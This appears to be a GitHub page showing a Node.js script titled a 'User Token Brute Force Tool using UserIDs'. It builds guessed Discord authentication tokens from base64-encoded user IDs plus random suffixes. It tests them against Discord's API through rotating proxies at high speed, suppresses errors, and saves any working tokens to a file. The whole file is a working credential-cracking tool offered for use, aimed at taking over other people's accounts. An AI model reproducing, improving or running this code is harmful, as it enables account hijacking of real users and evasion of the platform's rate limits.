-
Notifications
You must be signed in to change notification settings - Fork 17
/
index.js
98 lines (96 loc) · 2.86 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
const request = require('request');
const chalk = require('chalk');
const fs = require('fs');
const prompt = require('prompt');
var RandExp = require('randexp');
const ProxyAgent = require('proxy-agent');
var proxies = fs.readFileSync('proxies.txt', 'utf-8').replace(/\r/gi, '').split('\n');
var ID = fs.readFileSync('ids.txt', 'utf-8').replace(/\r/gi, '').split('\n');
var work = 0;
var invalid = 0;
var failed = 0;
var triesPerSecond = 10000;
process.on('uncaughtException', err => { });
process.on('unhandledRejection', err => { });
process.warn = () => { };
codegen = function () {
var ids = ID[Math.floor(Math.random() * ID.length)];
let data = ids;
let buff = Buffer.from(data);
let base64data = buff.toString('base64');
tokenstart = base64data;
var end = new RandExp(/^[A-Z]{1}([a-zA-Z0-9]){5}\.([a-zA-Z0-9_-]{38})$/).gen();
token = tokenstart + "." + end;
return token
}
function write(content, file) {
fs.appendFile(file, content, function(err) {
});
}
function check(token,type){
var proxy = proxies[Math.floor(Math.random() * proxies.length)];
var agent = new ProxyAgent(`${type}://${proxy}`);
request({
method: "GET",
url: `https://discord.com/api/v9/users/@me/guilds`,
agent,
json: true,
timeout: 2500,
headers: {
"Content-Type": "application/json",
authorization: token,
}
}, (err, res, body) => {
switch(res.statusCode){
case 200:
work++;
console.log(chalk.green('[200] Working Token | %s | %s' ),token , proxy);
write(token + "\n", "tokens/working.txt");
break;
case 401:
invalid++;
console.log(chalk.red(`[401] (${invalid}) | Invalid Token | %s | %s` ), token, proxy );
write(token + "\n", "tokens/invalid.txt");
break
case 429:
console.log(chalk.yellow(`[429] | Rate Limits`));
check(code);
break;
default:
check(code);
break;
}
process.title = `[313][Token Generator] | Invalid Tokens ${invalid} | Working ${work} | Total Proxies: ${proxies.length} `;
});
}
process.title = `[313][Token Generator] | Invalid Tokens ${invalid} | Working ${work} | Total Proxies: ${proxies.length} `;
console.log(chalk.inverse("User Token Brute Force Tool using UserIDs"));
console.log("")
prompt.start();
console.log(chalk.inverse("[INFO] Press Corrosponding Number to Select Proxy Type to Start! "));
console.log(`[1] https
[2] socks4
[3] socks5`);
prompt.get(['type'], function(err, result) {
console.log('');
var type = result.type;
switch(type) {
case "1":
var type = "http";
break
case "2":
var type = "socks4";
break
case "3":
var type = "socks5";
break
default:
var type = "http";
break
}
console.log("Starting...");
check(codegen(),type);
setInterval(() => {
check(codegen(),type);
}, (1/triesPerSecond) * 10);
})